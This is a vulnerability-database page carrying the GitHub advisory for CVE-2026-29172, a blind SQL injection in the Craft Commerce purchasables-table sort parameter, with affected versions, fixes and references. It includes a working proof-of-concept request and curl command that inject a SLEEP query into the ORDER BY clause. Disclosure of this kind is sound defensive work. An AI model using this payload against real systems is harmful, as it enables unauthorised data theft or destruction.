CVE-2026-29172: Craft Commerce is Vulnerable to SQL Injection in Commerce Purchasables Table Sorting
Summary Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The sort parameter is split by and the first part (column name) is passed directly as an array key to orderBy() without whitelist validation. Yii2's query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the ORDER BY clause.
Published Mar 10, 2026
Affected packages
craftcms/commerce
- Ecosystem
- Composer (PHP)
- Affected
- >= 4.0.0, <= 4.10.1
- Fixed in
- 4.10.2
- Check
composer show craftcms/commerce
craftcms/commerce
- Ecosystem
- Composer (PHP)
- Affected
- >= 5.0.0, <= 5.5.2
- Fixed in
- 5.5.3
- Check
composer show craftcms/commerce
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The sort parameter is split by | and the first part (column name) is passed directly as an array key to orderBy() without whitelist validation. Yii2's query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the ORDER BY clause.
---
PoC
Required Permissions
- General
- Access the control panel
- Access Craft Commerce
- Craft Commerce
- Manage orders
- Edit orders
Steps to reproduce
- Log in to the control panel
- Navigate to Commerce > Orders > Create a new order
- Click on "Add a line item" to show the purchasables table
- Intercept the AJAX request and modify the
sortparameter as follows:
GET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc- Observe the delay in the response, confirming the injection
Alternatively, you can use the following curl (bash syntax) command (replace cookie and target domain as needed):
curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'Impact
With this Blind SQLi, an attacker can:
- Exfiltrate data character-by-character (same technique as GHSA-pmgj-gmm4-jh6j).
- Modify or destroy data (drop tables, update records, alter schema).
Credited to mHe4am.
References
- https://github.com/craftcms/commerce/security/advisories/GHSA-j3x5-mghf-xvfw
- https://github.com/craftcms/commerce/commit/b231b920b73db023e81e5b261b894d73e865c276
- https://github.com/craftcms/commerce/commit/e4e0f4107cd895d29290523637f077fe280407b1
- https://nvd.nist.gov/vuln/detail/CVE-2026-29172
- https://github.com/advisories/GHSA-j3x5-mghf-xvfw
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-55795
Craft Commerce: Coupon Code Brute-Force via Rate Limit Bypass
medium6.9Jun 19, 2026GHSA-78vr-q6cf-c7p6
Craft Commerce: Partial Payment Amount Without Lower Bound Validation
medium6.9Jun 19, 2026CVE-2026-32270
Craft Commerce has an unauthenticated information disclosure that can leak some customer order data on anonymous payments
low1.7Apr 14, 2026CVE-2026-32271
Craft Commerce has a SQL Injection can lead to Remote Code Execution via TotalRevenue Widget
high8.7Apr 14, 2026CVE-2026-32272
Craft Commerce hasVariant/hasProduct Blind SQL Injection
high8.7Apr 14, 2026CVE-2026-29173
Craft Commerce is Vulnerable to Stored XSS while updating Order Status from Orders Table
low1.9Mar 10, 2026
